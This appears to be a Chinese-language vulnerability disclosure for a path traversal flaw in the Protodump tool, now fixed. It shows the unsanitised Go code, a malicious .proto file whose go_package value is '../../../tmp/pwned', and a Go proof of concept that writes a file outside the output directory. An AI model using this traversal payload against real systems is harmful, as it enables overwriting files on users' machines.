Protodump路径遍历漏洞分析与修复

本文详细分析了Protodump工具中的路径遍历漏洞,该漏洞允许攻击者通过恶意构造的protobuf描述符在文件系统任意位置写入文件。文章包含漏洞代码分析、攻击向量说明和完整的PoC验证代码。

任意文件写入漏洞报告

漏洞概述

Protodump存在路径遍历漏洞,允许攻击者通过恶意构造的protobuf描述符在文件系统任意位置写入文件,绕过预期的输出目录限制。

漏洞分析

根本原因

漏洞源于对从protobuf描述符中提取的go_package选项验证不足。Filename()函数直接从protobuf描述符中获取go_package选项值,未进行任何清理:

1
2
3
4
5
6
7
8
9
func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: 未对goPackage路径进行清理
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

漏洞利用

攻击者可创建包含恶意go_package选项的二进制文件:

1
2
3
4
5
6
7
8
9
syntax = "proto3";
package exploit;

// 恶意路径遍历
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

当用户在包含此恶意描述符的二进制文件上运行protodump时,工具会将提取的proto文件写入预期输出目录之外的位置,覆盖目标位置中任何同名的现有文件。

主函数中的漏洞代码

1
2
3
4
5
6
7
8
filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // 获取输出目录的绝对路径
    output, _ := filepath.Abs("./safe_output")

    // 来自恶意proto的攻击者控制值
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump路径遍历漏洞PoC ===")
    fmt.Println()

    // 漏洞代码:复制protodump的逻辑
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("配置:")
    fmt.Printf("  预期输出: %s\n", output)
    fmt.Printf("  恶意输入: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("路径计算:")
    fmt.Printf("  文件名: %s\n", filename)
    fmt.Printf("  最终路径: %s\n", finalAbs)
    fmt.Println()

    // 创建文件
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("结果:")
    fmt.Printf("  预期: %s/evil.proto\n", output)
    fmt.Printf("  实际: %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("漏洞确认:文件被写入预期目录之外")
    }
}

影响

  • 在用户机器上实现任意文件写入
  • 可能覆盖系统关键文件

受影响版本

  • 最新版本(commit 17ad807,2025年10月验证)
  • 仓库:https://github.com/arkadiyt/protodump
  • 安装命令:go install github.com/arkadiyt/protodump/cmd/protodump@latest

修复状态

该漏洞已通过 https://github.com/arkadiyt/protodump/pull/16 修复。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计